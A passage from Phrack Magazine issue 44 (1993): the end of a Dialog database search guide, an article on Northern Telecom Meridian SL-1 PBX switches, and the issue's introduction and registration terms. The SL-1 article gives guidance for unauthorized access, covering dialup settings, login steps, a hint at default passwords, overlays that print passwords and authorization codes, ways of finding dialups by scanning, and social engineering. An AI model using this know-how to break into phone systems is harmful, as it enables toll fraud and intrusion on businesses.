BN =	International Standard Book Number (ISBN)	Phrase
CD =	Conference Date	Phrase
CL =	Conference Location	Word
CS =	Corporate Source	Word
CT =	Conference Title	Word
CY =	Conference Year	Phrase
DT =	Document Type	Phrase
JA =	Journal Announcement	Phrase
JN =	Journal Name	Phrase
LA =	Language	Phrase
PY =	Publication Year	Phrase
SN =	International Standard Serial Number (ISSN)	Phrase
SO =	Source Publication	Word
SP =	Conference Sponsor	Word
UD =	Update	Phrase

The TYPE Command

The TYPE command is used to display your search results. Once you "S" the topic, you can display it in eight different formats. Each format costs a different price and varies with each database. It is usually more to display a full record than abstracts though. The command is listed as follows:

```
T (or TYPE) set/format/range of records
```

```
ex. T s1/5/1-20
```

This will "type" the results found in s1, show the whole record (format 5), and display the first twenty records. The command can also be used to directly display an accession number as displayed in the following:

```
T (or TYPE) accession number/format
```

```
ex. T EJ330267/5
```

This will display the full record of the "Invitation to a Hacker" (the sample record). Note that most Dialog databases contain citations and sometimes abstracts of articles but NOT the full text of the article. There are some databases that do contain the full text of articles but most don’t. The reason most people search these databases is to get a bibliography of articles that have been written on their topic. After reviewing the results of their search, they can decide which if any, of the articles published that they want a copy of. Obtaining full text copies of articles is referred to as 'Document Delivery' service. Sometimes you will see that the newspaper, magazine, or journal that a specific article you obtained a citation of is in your library and can just photocopy it yourself. Other times, the journal may be in another library perhaps hundreds of miles away, in which you can request it via ILL (Inter-Library Loan). And if you have no clue where to find a copy of the source of an article, you can ask Dialog or the individual database supplier to get a copy for you, typically at a cost in upwards of $15.00 for an article from 1 to 20 pages. Fifteen bucks is a bit steep for a 2 page article, so be sure you really need it before ordering. Besides, most articles don't contain as much info that the title or abstract implies it does.

If you need direct record access, with any options in the Dialog command system, just input the accession number. All eight formats are shown in the following table.

Predefined Formats
Table 5

Format Number	Record Content
1	DIALOG Accession Number
2	Full Record except Abstract
3	Bibliographic Citation
4	Full Record with Tagged Fields
5	Full Record
6	Title and DIALOG Accession Number
7	Full Record except Indexing
8	Title and Indexing

User Defined Format Options

If you are not satisfied with the eight formats, you can modify the output to display exactly what you want. The command would look like the following:

```
ex. TYPE S3/AU,TI/1-5
```

This would exclusively show the author and the title in records one through five.

The EXPAND Command

The EXPAND command allows you to look through the database like looking through a dictionary. The command would look like this:

```
ex.         ? E AU=CAPONE, F
           Ref  Items  Index-term
           E1       4  AU=CAPONE, A
           E2      10  AU=CAPONE, B
           E3      55  AU=CAPONE, C
           E4       8  AU=CAPONE, D
           E5       4  AU=CAPONE, E
           E6       2  AU=CAPONE, F
           E7      10  AU=CAPONE, FA
           E8     912  AU=CAPONE, FB
```

This is an especially useful term or name if you don't know exactly what you are looking for.

Conclusion

This file should give you an overview of the Dialog Information System. I exited the hacking world shortly after The Leftist, The Urvile/Necron 99, and The Prophet were arrested in Operation Sundevil, and Digital Logic's Data Service went down permanently along with my sysop access. It wasn't until a few years later did I reenter the computer world to find a whole lot of things to have changed including my hacker ethic. I felt writing this file would be a natural progression from my original hacking talents to "hacking" on a legal basis.

I would like to thank Erik Bloodaxe (for encouragement and project ideas) and Lex Luthor (for more project ideas and editing). If you have any questions or comments my Internet address is: alcapone@mindvox.phantom.com. On IRC, I am usually on either #mindvox or #hack so look me up and say "Hey!".

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 19 of 27

****

Northern Telecom Meridian SL-1

by Iceman

Introduction

This article is the first in a possible series devoted to Northern Telecom's line of Meridian SL-1 switches. At the moment, I'm unsure if there will even be a second article, since it would consist completely of the programming of these switches, and it's not difficult for me, or anyone else to type up a manual. If you haven't heard of an SL-1 before, to put things simply, if you have ever called a Meridian Voice Mail system, this is the computer that runs the show! Not all SL-1's have Voice Mail features, but it makes things easier (for the electronic adventurer) if you have one that does. Now it's far more than a simple voice mail system, it's a complete phone switch, a PBX. Of course, like most computers, if you can gain access to it, the system is at your beckon call, to do what you make it do. What follows is a brief history, and technical overview of the SL-1 series, as well as information on identifying them. If this looks familiar, a large portion of this article appeared my own magazine, Freedom, but was updated for Phrack. If you had read the issue relating to SL-1's, you will also find basic programming information for some of the more commonly used overlay programs, it was purposely omitted in this article.

History and Technical Overview

Development of Northern Electric's SL-1 started in 1971. Their objective was to design a superior communications system for business subscribers in the range of 100 to 7600 stations. The system had to encompass all the features of a PBX, Centrex and key systems and be economically competitive with them. It had to have new custom services not previously feasible with the older systems. It had to be easy to learn and to operate. As well, it had to be easy to install and maintain.

What the designers came up with was a digital, stored program control machine using an 8-bit PCM. They also came up with a new telephone instrument, the SL-1 telephone, which is a multi-line instrument with many features, but uses only 2 pairs of wires, instead of 25 pairs required by key telephones.

The SL-1 system has three main parts: The common equipment (CE), the peripheral equipment (PE) and the power supplies.

The CE performs the central control and switching functions for all the connecting lines and trunks. It has a central processing unit (CPU) and read/write memory which stores all the operating programs and data unique to the particular system, including switching sequences, feature and class of service information, and numbers and types of terminals. Various models use various media to store information, ranging from magnetic tape drives to disk drives, for high-speed loading of the operating programs and data into the read/write memory, and providing data restoration after a power failure. This media also contains the diagnostic routines, and all software needed to program the switch. There is a Teletype to communicate to the system with and to print error messages on. The network circuits perform the switching duties for all lines and trunks. The digital service circuits provide for such functions as dial and ringing tones and call conferencing.

The CE units communicate over a common central bus under control of the CPU. Speech signals, converted to digital, follow a separate path on a network switching bus.

The PE performs the interface between the line and trunk circuits and the SL-1 system. It consists mainly of line and trunk cards which convert analog speech to digital signals for digital switching and vice-versa. Lines connect to individual instruments and trunks to other PBX's. Peripheral buffers act as interface between the PE and the CE providing power control, timing and switching control signals for the line and trunk circuits. Digital conversion into 8-bit PCM is done by a single encoder/decoder (codec) for each line or trunk. This codec is a custom LSI circuit.

Between the PE and the CE, all signals travel in digital format on time multiplexed loops. Each loops carriers 30 voice channels, one control signalling channel and one unused channel. The channels operate at 64 kbps to give a total data rate of 2.048 mbps. Each loops terminates on a different circuit pack in the CE. There can be up to 16 multiplex loops.

When a call is set up, the CPU assigns each party a channel from among the 30 on their own multiplex loops. These channels form a matched pair. For instance, the calling party may use channel 2 of it's digital loop, and the called party may use channel 3 of it's loop.

The SL-1 conducts audio digitally. The line and trunk cards contain A/D and D/A converters. Received audio is changed to a digital signal and put on a voice channel. At it's destination, the digital signal is converted back to analog audio.

All programming is done from a keyboard with the output going to a printer. To program, a specific diagnostic program, called an overlay, is selected, and is automatically loaded from tape or disk. Once this is done, the appropriate commands are entered to change the options. All inputs, and SL-1 responses are echoed on a printer or echoed out of the specified port. If any system parameters or configurations are changed, these changes will not survive a total power outage unless a new tape or disk is made.

In case of a power outage, upon restoration of power, the SL-1 activates the tape or disk unit and loads in the system operating data, and runs some diagnostics. This takes from 5-15 minutes, and at the end of that time, service is fully restored with all the options which were recorded on the tape or disk being implemented. Of course any user-selected options like speed call lists and call waiting which had been selected before the outage will be lost.

Automatic diagnostics (called 'background' programs) are being run constantly with the results of any problems being echoed to output. At midnight a more thorough set of diagnostics are run. Any of the diagnostics may be run on demand from the keyboard. Also available on demand from the keyboard are a series of diagnostics to determine the status of lines and trunks, to trace calls, and to print lists and traffic studies.

SL-1 Features

- Call Waiting
- Ring Again
- Display services
- Tandem switching
- Special dial tone
- Traffic measurement
- Common control switching arrangement access
- Data transmission
- Access to automatic recorded answering equipment
- Access to paging equipment
- Call forward - busy
- Call forward - don't answer
- Call forward - follow me
- Call pickup
- Conference (3 or 6 party)
- Service restrictions
- Digitone (DTMF) service
- Direct inward dialing
- Direct outward dialing
- Private line service
- Remote administration and maintenance
- Multi-customer group operation
- Line/trunk lockout
- Flexible numbering system (2 to 4 digits)
- Pulse to DTMF conversion
- DTMF to pulse conversion
- Emergency transfer
- Hunting
- Intercept
- Manual service
- Night service

SL-1 Telephone Set Features

- Autodial
- Call status
- Call forwarding
- Call transfer
- Speed calling
- Call waiting
- Tone ringing
- Common audible signalling
- Ring again
- Hands free operation
- Multiple appearance directory number; multiple call arrangements
- Prime directory number
- Station set expansion
- Privacy release
- Automatic preselection
- Headset connection
- Executive override
- Hold
- On-hook dialing
- LED indicators
- Call pickup
- Loudspeaker/Amplifier
- Voice calling
- Manual signalling
- 3 or 6 party conference
- non-locking keys
- Single appearance directory number
- Privacy

Explanation of Some Features

Station to station calling - Any station can directly call any other station without attendant assistance.

Direct Outward Dialing (DOD) - Allows a station to gain access to the exchange network without attendant assistance and receives a second dialtone.

Hunting - Routes a call to an idle station directory number when the called number is busy. The numbers in the hunt group do not have to be in sequence nor do they have to appear on the same instrument. The sequence can be consecutive (station directory numbers are hunted in ascending numerical order) or non-consecutive.

Access to paging - Provides a connection to customer-owned paging equipment.

Access to Automatic Recorded Answering Equipment - SL-1 stations can have incoming messages recorded on customer-provided answering equipment by forwarding calls to the directory number (DN) assigned to the equipment.

Direct Inward Dialing (DID) - Allows an incoming call from the exchange network to reach a station without attendant assistance. The DN for each station will normally be the last 2,3 or 4 digits of the 7 digit exchange network number.

Tandem Switching - The SL-1 can act as an intermediate switching point for traffic between other PBX's.

Manual Service - Does not provide a dialtone when a station goes off-hook. Instead the attendant is alerted and completes the call for the user.

Private Line Service - Permits the appearance of a private central office line on an SL-1 Telephone set. Dialtone is received directly from the telco and calls are not processed by the SL-1.

Multi-Customer Group Operation - Allows for the provision of services for more than one business customer from the same switching machine. Each customer is totally separate from the others, may have the same directory numbers as the others, has his own attendant console, his own trunks, and cannot directly call stations belonging to the other customers.

Service Restrictions - Allows the ability to restrict various functions.

Intercept - Disposes of calls which cannot be completed because of restrictions or dialing errors. They are either routed to the attendant or overflow tone.

Special Dial Tone - A Regular dialtone with three 128 ms interruptions at the beginning to advise the user that his hookswitch flash has been successful.

Line Lockout - Disconnects stations which have been off-hook for too long to prevent system problems.

Night Service - Allows the attendant to preconnect some or all of the incoming telco trunks to selected DN’s on the SL-1.

Emergency Transfer - Puts the system in the power fail transfer mode. This transfers telco trunks to selected stations to provide some continuity of service to the outside world during the time the SL-1 is inoperative.

Remote Administration and Maintenance - Permits operation of the diagnostics from a remote location via a modem and telephone line. You may do anything from the remote terminal that you can do from the local terminal.

Call Forward - Busy - Routes incoming calls to another number when the called station is busy.

Call Forward - Don’t answer - Routes incoming calls to another number when the called station doesn’t answer within a prescribed time.

Call Forward - Follow me - Routes incoming calls to another, programmable number.

Call Waiting - Informs the user of a second incoming call while he is already in conversation. He can then place the first caller on hold and answer the second call. He can then return to the first call.

Conference - Allows a user to connect up to either 1 or 4 additional persons into an existing call. Up to 2 of the users may be trunks.

Call Pickup - Allows a station to answer an incoming call to another station in the same pickup group by dialing a special code.

Ring Again - Permits a calling station, on encountering a busy DN, to operate a dedicated key or dial a special code to have the system monitor the called station and alert him when it goes idle. He is then automatically connect to that station when he goes off-hook or presses the key during the alert and the system rings that station.

Data Transmission - The SL-1 is suitable for voiceband data transmissions and is compatible with a conventional modem.

SL-1 Models

Model	Lines	Introduced	Generic	Features
SL1-L	300-700	1975	x01	- N/A
SL1-VL	700-2500	1976	x02	- Multi customer operation - Automatic Identification of outward dialing - Do not disturb
CDR	N/A	1977	x03,x04, x08	- Call detail recording - Recorded Announcement - Digit display console
SL1-LE	300-700	1978	x05	- Automatic Route Selection
SL1-VLE	700-2500	N/A	N/A	- Remote peripheral equipment - Automatic Number Identification - "E" system - Autovon
SL1-A	60-400	1979	x06,x07, x14	- Centralized attendant service - Automatic call distribution - Digit display SL-1 Sets - 2500 Set Features

				- Direct inward system access - Dial Intercom - Message Center - Hotel/Motel - International Phase 1
SL1-XL	1000-5000	1980	x09,X17	- Advanced ACD packages - Multiple message center - Integrated voice and data switching - Hospital/Clinic - International Phase 2
ESN	N/A	1981	x9000	- Office data administration system - Automatic Wake-up - Room status - Auxiliary data system - Electronic switched network - International Phase 3
SL1-M	60-400	1982	x11 rls 1	- Attendant Administration - Attendant overflow - Automatic set relocation - History file - Call park - Flexible code restriction - System speed call - International Phase 4&5
SL1-S	30-160	1983	x11 rls 4	- Distinctive ringing - Stored number redial - Async. interface module - Sync. data transmission - Multi-channel data system - SL-1 displayphone - Hotel/Motel

'Generic' refers to the software version. It is expressed as a 3 or 4 digit number where the first part of the number indicates the machine it is for and the second part indicates the purpose of the software and serves as a version number and also indicates the type of machine it can be used with. The 'X' stands for a 1 or 2 digit number representing the model:

1 = SL1-L   2 = SL1-VL   3 = SL1-LE   4 = SL1-VLE   5 = SL1-A
6 = SL1-XL   7 = SL1-M/S   8 = SL1-N   9 = SL1-XN   10= SL1-ST
11= SL1-NT   12= SL1-XT

Maintenance Programs

All troubleshooting procedures, configuration changes and circuit disabling/enabling are carried out from the keyboard of a Teletype via software programs. There is virtually no physical contact with the exchange other than required to remove a defective board and replace it with a spare. Even this does not require tools.

Before running a program you must first gain access to the computer. The dialup will normally be a 1200 baud connection, with an even parity, databits of 7, and stopbits of 1 (E71). Once connected press <CR> several times key to wake the system up. The system SHOULD respond with 'OVL111 BKGD' or 'OVL111 IDLE' and now you know it's alright to login. If the response is 'OVL000' and then a '>' prompt you are already logged in, and you can go straight to loading an overlay.

Type 'LOGI' to initiate the login. Make sure when entering commands that they are all input in uppercase. The system responds with 'PASS?'. Now enter the password, (we do have a password, RIGHT?), it has a default, like everything else. The password will always be a 4 digit number, other characters are not valid. If you have correctly logged in, the system will respond with a '>' prompt. The system will display this prompt whenever waiting for operator input and is not running a diagnostic program. Once a diagnostic program is running the prompt becomes a '.' (period). If you are not logged in, there is no prompt.

What follows is an example of what you will see during login.

```
{ Hit Carriage Return }
OVL111 IDLE
.
.
.LOGI                        { Initiate Login                    }
PASS?                        { Enter password, it will not echo  }
OVL015                       { Error code for incorrect password }
TTY 01 SCH MTC    16:40

OVL 45 BKGD
.LOGI                        { Try again }
PASS?
.
>
OVL000
>LD 22           { You are now logged in and ready to load an overlay program }
   { in this case we are loading overlay 22, a print routine.   }
PT20000

REQ TID          { The REQ prompt appears, now enter your selection, in this }
   { case we want to print the TID (Tape ID)                   }
TAPE ID:
LOADED XXXXXX
DISK/TAPE   XXXXXX

REQ ISS          { Enter ISS to view the Issue and Release number of the     }
   { software/switch                                           }
VERSION 1011
RELEASE 14
ISSUE 39


REQ END          { Enter END to quit this overlay }
>LOGO
>
.                { Logout and hangup }
```

Now after gaining this information, we can determine what type of system we're dealing with. Notice that the version number is 1011. Now refer back to the listing of SL-1 Models for the information we seek. We are logged into an x11 system (last 2 digits of the version number). Unfortunately, there are two system with x11 generics, and none of which have a release number of 14, so we're either dealing with an SL1-M or an SL1-S, with either a 60-400 or 30-160 line capability respectively. Although this information isn't extremely useful, it comes in handy when determining how large the system is.

Overlay Programs

Upon first logging in, no program is loaded, and you must load a program (overlay) into system memory. This is done by the command 'LD' followed by a space and the overlay number. To load overlay 10 you would simply do a 'LD 10'. It will take approximately 1 minute to load the overlay into memory from tape, if the system uses a tape drive. If the system uses disk storage then it will load quickly. Once the program is loaded, a 'REQ' (request) prompt will appear. The system is now waiting for input from the administrator.

There are many different overlays which can be used, all of which are explained in the following section.

```
Number     Name                          Purpose
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  10   500/2500 Type     Allows new 500/2500 telephone data blocks to be
       Telephone         generated, existing office data modified, moved
                         to a new TN location on the same loop, or removed
                         from the system. Standard telephone sets.

  11   SL-1 Type         Allows new SL-1 telephone data blocks to be
       Telephone         generated, existing office data to be modified,
                         moved to a new TN location on the same loop, or
                         removed from the system.

  12   Attendant         Allows new SL-1 attendant console data blocks to be
       Console           generated, existing office data to be modified,
                         moved to a new TN location on the same loop, or
                         removed from the system.

  13   DIGITONE          Allows new DIGITONE and SL-1 tone detectors blocks
       Receiver and      to be generated, moved to a new TN location on the
       SL-1 Tone         same loop, or removed from the system.
       Detectors

  14   Trunks            Allows new trunk data blocks to be generated,
                         existing office data modified, moved to a new TN
                         location on the same loop, or removed from the
                         system.

  15   Customer          Allows new customer data blocks to be generated,
                         existing office data modified, or removed from the
                         system.

  16   Trunk Route/      Allows new trunk/ATM route and ATM schedule hours
       Automatic Trunk   data blocks to be generated, existing office data
       Maintenance       modified, or removed from the system.

  17   Configuration     Allows the configuration record to be modified to
       Record            reflect changes in the system parameters.

  18   Speed Call        Allows speed call/system speed call and group call
       Group Call Data   data to be generated, modified, or removed from the
                         system.

  19   Code Restriction  Allows code restriction data block to be generated,
                         modified, or removed from the system.

  20   Print Routine 1   Allows the printing of:
                         - SL-1 TN data blocks
                         - 500 TN data blocks
                         - attendant TN data blocks
                         - trunk TN data blocks
                         - DIG data blocks
                         - group call data
                         - templates
                         - speed call lists
                         - hunting patterns of stations
                         - unused units
                         - unused card positions
                         - terminal numbers

  21   Print Routine 2   Allows the printing of:
                         - customer data blocks
                         - code restriction data blocks
                         - route data blocks
                         - a list of trunks in a route
                         - ATM data
                         - ATM schedules
                         - TN associated with CAS keys

  22   Print Routine 3   Allows the printing of:
```

- the configuration record
- directory number to TN matrix
- equipped packages
- history
- password numbers
- ROM QPC number
- station category indication
- version and issue of generic

23	ACD/Message Center	Allows ACD data, ACD management report schedules, and Message Center data to be generated, modified, or removed.
24	DISA	Allows data for direct inward system access to be generated, modified or printed.
25	Move Data Blocks	Allows movement or interchanges of data between loops, shelves and packs in the same customer group.
26	Do Not Disturb	Allows DND groups to be formed, changed, merged, removed or printed.
28	ANI Route Selection	Allows ANI route selection data block to be generated, modified, removed, or printed.
29	Memory/ Management	Used to determine the amount of unused memory, and to determine if enough memory is available to add new data. Also used to respond to error messages SCH601 and 603 on Meridian SL-1 XN systems.
49	NFCR	Allows code restriction data blocks to be defined, modified, removed, or printed.
50	Call Park	Allows call park data to be generated, modified, removed, or printed.
73	Digital Trunk Interface	Allows Digital Trunk Interface data to be generated or modified.
81	Features/ Stations Print	Allows stations to be listed or counted according to their features.
82	Hunt Chain/ Multiple Appearance Print	Allows printing of hunting patterns and multiple appearance groups.
83	TN Sort Print	Allows printing of stations according to station DES.
84	DES Entry	Allows the assignment of station DES (description) to 500/2500 sets.
85	DES Entry	Allows the assignment of station DES (description) to SL-1 sets.
86	ESN 1	Allows electronic switched network data defining BARS/NARS/CDP features to be generated, modified, or printed.
87	ESN 2	Allows electronic switched network data defining BARS/NARS/CDP features to be generated, modified, or printed.
88	Authorization Code	Allows data for Basic Authorization Code (BAUT) and Network Authorization Code (NAUT) to be generated, modified, or printed.
90	ESN 3	Allows data for ESN network translation tables to be generated, modified, or printed.

93	Mult-Tenant Service	Used to enable and administer multi-tenant service. For example, more than one company can use the same PBX.

Those are the main overlays used to modify setups and print the system configuration information. SL-1's are mainly used in buildings, and by larger companies, ranging from department stores to complete office complexes. The dialups are commonly found on an extension of the PBX. You can generally come across the dialup while scanning extensions on a Meridian Voice Mail system. Meridian SL-1's are a very common switch used on WATS lines, generally by larger companies. I've also talked to several people who have encountered the actual dialup modem to the switch on the public phone network (exchange scanning). Once you have found one, it's easy to identify with it's trademark 'OVL' greeting.

Meridian Manager

Obviously SL-1 administrators can't be expected to program a switch using such archaic methods, and remembering every prompt and required input. Northern Telecom has developed terminal software that makes the job easier, which replaces the traditional teletype setup with a PC running their terminal software. Each copy of the software is sold at upwards of $5000 for a site license, and you are entered into a license agreement with NT. As Northern Telecom puts it...

"Title to and ownership of Meridian SL-1 software shall at all times remain with Northern Telecom. Meridian SL-1 software shall not be sold outright and the use thereof by the customer shall be subject to the parties entering into software agreement as specified by Northern Telecom."

Each copy contains a serial number which matches the PBX's own serial number, thus cannot be used on any switch other than one specified in your license agreement. The software provides a user friendly method to add, remove, and modify information, without dealing with the unfriendly switch directly. Initially the software will phone the specified switch, and check the serial number of the switch. After this, it will load and run the print overlays, and ascii capture all output, building several database files locally, on your own system. After this is completed, it disconnects, and you now have the complete configuration of the switch sitting on your system. You now make the necessary modifications, and upon completion, the software again calls the switch, and updates the switches database. The software, called the Meridian Manager, comes complete with a full internal tutorial on how to use it, and is very helpful. Thanks Northern Telecom, for making it so easy!

Additional Information

If you require programming information, probably the handiest piece of material that I've found is the Data Administration, Generic X11 : Pocket Reference Guide. This is a pocket book that contains a listing of all Overlay Programs, possible inputs and error codes. The reference is about 100 pages, and can be ordered from Northern Telecom, the order number being P0674785,S086/01. Social Engineering may be required.

* Meridian and SL-1 are trademarks of Northern Telecom Limited.

Greetings to Talsfalon, Akalabeth, Okinawa, Mechanix, and all those I've forgotten. See you at hohocon, we'll be giving away one of the previously mentioned Pocket Reference Guide's at the raffle.

I can be reached at my email address, iceman@silicon.bison.mb.ca, or my own system at 204-669-7983.

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3

mQCNAiwKJFQAAAEEALaKeir7NjTo0SawUR5jC7EIxTl+f1Yv3AvxwmHMOC0aZJwq

```
WHqZajrdQ0UXKS6j/2bKgFwfuo76O/KeZmuo4Q05JLRl1epO6SfGMjfSP0zR2y0n
2oSsiA9VNpI/eeZAqJpa15ItpWEXZOwNIHKvTjEqOjADwtVCvkRf68TwYncbAAUR
tCNJY2VtYW4gPGljZW1hbkBzaWxpY29uLmJpc29uLm1iLmNhPg==
=BlEm
-----END PGP PUBLIC KEY BLOCK-----
```

Iceman
* The Digital Resistance *

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 1 of 27

Issue 44 Index

P H R A C K 4 4

November 17, 1993

~ Your skill is extra ordinary ~

Happy Birthday to Phrack, Happy Birthday to Phrack, Happy Birthday Happy Birthday, Happy Birthday to Phrack. November 17th, 1993 marks the eighth year of Phrack Magazine. Amazing, ain't it? Seems like only a few years. Makes me feel old. Damn.

I have been a busy boy since I put out 43. I've been to Boston, Amsterdam, Las Vegas, Philadelphia, and numerous points in between. I've been slaving at the day job, consulting and speaking about security on the side, working on other ventures you could not possibly conceive of without proper initiation, and piecing together this magazine. (Listening for applause)

It's a big pain in the butt to do a magazine like this, especially when people who SAY they are going to write something, don't. I know, it's a typical hacker cop-out to start something and then get side-tracked by other projects. I'm as guilty of that as is any of you, but I'm trying to get better. So should those of you who are hiding your faces in shame...you know who you are.

Every day I get bombarded with "When's the next Phrack coming out?" It started the day I released 43 on IRC. THE SAME DAY! 43 hadn't even gone out over the mailing list yet, and people were already asking when the next one was due out! I know they didn't read all 1.2 megs of 43 before they started in on me. Geez, that gets old. For those of you who ever consider asking me such a thing, the answer is, "When it's done."

Alas, still no new corporate registrations. A few people have expressed an interest, but never followed through. We have gotten a number of non-corporate registrations from people who I guess just wanted to send me mail. Listen guys, I love to hear from you all, but unless you are a corporate, federal, or law enforcement reader complying with our registration requirements and paying the fee, you don't have to send in the form.

We've got a few nifty things in this issue. Phrack never really included much more than text. Last month's inclusion of the Novell utilities uuencoded was a departure from the norm, and I decided to do somthing like that again. In this issue you will find a small photo collection that might make you smile.

If you can't figure out how to use uudecode, I suggest you close this file, and spend a few moments perusing the man page entries on that command, or consulting a good book on unix. And for you whiners that don't have accounts on UNIX boxes, uuencode and uudecode programs are available for DOS, Mac, Amiga and virtually any platform you care to use. (Although if you are using MVS, CICS, TSO or 400/OS, you reap what you sow.)

A lot of conferences went on during the time that has passed since our last issue. It's nice to see that the community is making itself a louder voice in the world, although seeing the word "Cyber" on nearly every magazine in the Western Hemisphere is making me rather nauseous, and if Billy Idol gets on another TV show (aside from The Hollywood Squares, which would mean his career was OVER) I may have to sell everything electronic I own. Hell, there was even hacking on Melrose Place. Anyway, back to the point, as is the case with every gathering, we've got it covered.

You might notice that there are a lot of files dealing with people and places rather than strictly items of hardcore technical info. I know some may disagree with me, but I really feel that its important to document and chronicle things that relate to the personalities of this community. I mean, how entertaining is it to read "HOW TO HACK TOPS-20" ten years later?

Don't get me wrong and think we're not dealing with anything meaty. This issue we've also got operating system guides, cell & bell stuff, Van Eck info, and MORE MORE MORE.

Phrack 44. It's out. Now leave me alone. :)

READ THE FOLLOWING

IMPORTANT REGISTRATION INFORMATION

Corporate/Institutional/Government: If you are a business, institution or government agency, or otherwise employed by, contracted to or providing any consultation relating to computers, telecommunications or security of any kind to such an entity, this information pertains to you.

You are instructed to read this agreement and comply with its terms and immediately destroy any copies of this publication existing in your possession (electronic or otherwise) until such a time as you have fulfilled your registration requirements. A form to request registration agreements is provided at the end of this file. Cost is $100.00 US per user for subscription registration. Cost of multi-user licenses will be negotiated on a site-by-site basis.

Individual User: If you are an individual end user whose use is not on behalf of a business, organization or government agency, you may read and possess copies of Phrack Magazine free of charge. You may also distribute this magazine freely to any other such hobbyist or computer service provided for similar hobbyists. If you are unsure of your qualifications as an individual user, please contact us as we do not wish to withhold Phrack from anyone whose occupations are not in conflict with our readership.

____

Phrack Magazine corporate/institutional/government agreement

Notice to users ("Company"): READ THE FOLLOWING LEGAL AGREEMENT. Company's use and/or possession of this Magazine is conditioned upon compliance by company with the terms of this agreement. Any continued use or possession of this Magazine is conditioned upon payment by company of the negotiated fee specified in a letter of confirmation from Phrack Magazine.

This magazine may not be distributed by Company to any outside corporation, organization or government agency. This agreement authorizes Company to use and possess the number of copies described in the confirmation letter from Phrack Magazine and for which Company has paid Phrack Magazine the negotiated agreement fee. If the confirmation letter from Phrack Magazine indicates that Company's agreement is "Corporate-Wide", this agreement will be deemed to cover copies duplicated and distributed by Company for use by any additional employees of Company during the Term, at no additional charge. This agreement will remain in effect for one year from the date of the confirmation letter from Phrack Magazine authorizing such continued use or such other period as is stated in the confirmation letter (the "Term").

If Company does not obtain a confirmation letter and pay the applicable agreement fee, Company is in violation of applicable US Copyright laws.

This Magazine is protected by United States copyright laws and international treaty provisions. Company acknowledges that no title to the intellectual property in the Magazine is transferred to Company. Company further acknowledges that full ownership rights to the Magazine will remain the exclusive property of Phrack Magazine and Company will not acquire any rights to the Magazine except as expressly set forth in this agreement. Company agrees that any copies of the Magazine made by Company will contain the same proprietary notices which appear in this document.

In the event of invalidity of any provision of this agreement, the parties agree that such invalidity shall not affect the validity of the remaining portions of this agreement.

In no event shall Phrack Magazine be liable for consequential, incidental or indirect damages of any kind arising out of the delivery, performance or use of the information contained within the copy of this magazine, even if Phrack Magazine has been advised of the possibility of such damages. In no event will Phrack Magazine's liability for any claim, whether in contract, tort, or any other theory of liability, exceed the agreement fee paid by Company.

This Agreement will be governed by the laws of the State of Texas as they are applied to agreements to be entered into and to be performed entirely within Texas. The United Nations Convention on Contracts for the International Sale of Goods is specifically disclaimed.

This Agreement together with any Phrack Magazine confirmation letter constitute the entire agreement between Company and Phrack Magazine which supersedes any prior agreement, including any prior agreement from Phrack Magazine, or understanding, whether written or oral, relating to the subject matter of this Agreement. The terms and conditions of this Agreement shall apply to all orders submitted to Phrack Magazine and shall supersede any different or additional terms on purchase orders from Company.

____

REGISTRATION INFORMATION REQUEST FORM

We have approximately __________ users.

Enclosed is $________

We desire Phrack Magazine distributed by (Choose one):

Electronic Mail: _________
Hard Copy: _________
Diskette: _________ (Include size & computer format)

Name:_______________________________ Dept:____________________

Company:____

Address:____

____

City/State/Province:____

Country/Postal Code:____

Telephone:____________________ Fax:__________________________

Send to:

Phrack Magazine
603 W. 13th #1A-278
Austin, TX 78701

Enjoy the magazine. It is for and by the hacking community. Period.

```
      Editor-In-Chief : Erik Bloodaxe (aka Chris Goggans)
                3L33t : CERT  (not)
                 News : Datastream Cowboy
          Photography : dFx
      Three People KL
   Says "Never Trust" : Erik Bloodaxe, Dispater, Control C
            Dead Guy : River Phoenix
    Prison Consultant : Co / Dec
   Gamblers Anonymous : KevinTX
       Takes Too Long
      To Make Xeroxes : Count Zero
       Group To Watch : PoP/FoF
                Dazed : Weevil
               Typist : DDS
              My Hero : Lazlo Toth
            Thanks To : The Grimmace, Agent 005, Iceman
                        Herd Beast, Al Capone, Synapse,
                        Opticon the Disassembled, Holz,
                        Gurney Halleck, Dark Tangent, Visionary
                        Paco @ Fringeware, VaxBuster
                        Larry Kollar, Sara Gordon, Kohntark,
                        FyberLyte, InterPACT Press, Netsys,
                        The WELL, MOD, Gail, Hack-Tic.
```

"Aitsu, satsu ni tarekondari shitara bukkoroshite yaru!"
  -- A Paranoid Haiteku-Otaku

Phrack Magazine V. 4, #44, November 17, 1993. ISSN 1068-1035
Contents Copyright (C) 1993 Phrack Magazine, all rights reserved. Nothing may be reproduced in whole or in part without written permission of the Editor-In-Chief. Phrack Magazine is made available quarterly to the amateur computer hobbyist free of charge. Any corporate, government, legal, or otherwise commercial usage or possession (electronic or otherwise) is strictly prohibited without prior registration, and is in violation of applicable US Copyright laws. To subscribe, send email to phrack@well.sf.ca.us and ask to be added to the list.

```
                    Phrack Magazine
                    603 W. 13th #1A-278       (Phrack Mailing Address)
                    Austin, TX 78701

                    ftp.netsys.com            (Phrack FTP Site)
                    /pub/phrack

                    phrack@well.sf.ca.us      (Phrack E-mail Address)
```

Submissions to the above email address may be encrypted with the following key : (Not that we use PGP or encourage its use or anything. Heavens no. That would be politically-incorrect. Maybe someone else is decrypting our mail for us on another machine that isn't used for Phrack publication. Yeah, that's it. :))

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a

mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy
ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi
a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR

tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==
=q2KB
-----END PGP PUBLIC KEY BLOCK-----

-= Phrack 44 =-

Table Of Contents ~~~~~~~~~~~~~~~~~ Approx. Size ~~~~~~~~~~~~

1. Introduction by The Editor 16K
2. Phrack Loopback / Editorial 57K
3. Line Noise Part I 51K
4. Line Noise Part II 35K
5. Computer Cop Prophile by The Grimmace 22K
6. Conference News Part I by Various Sources 55K
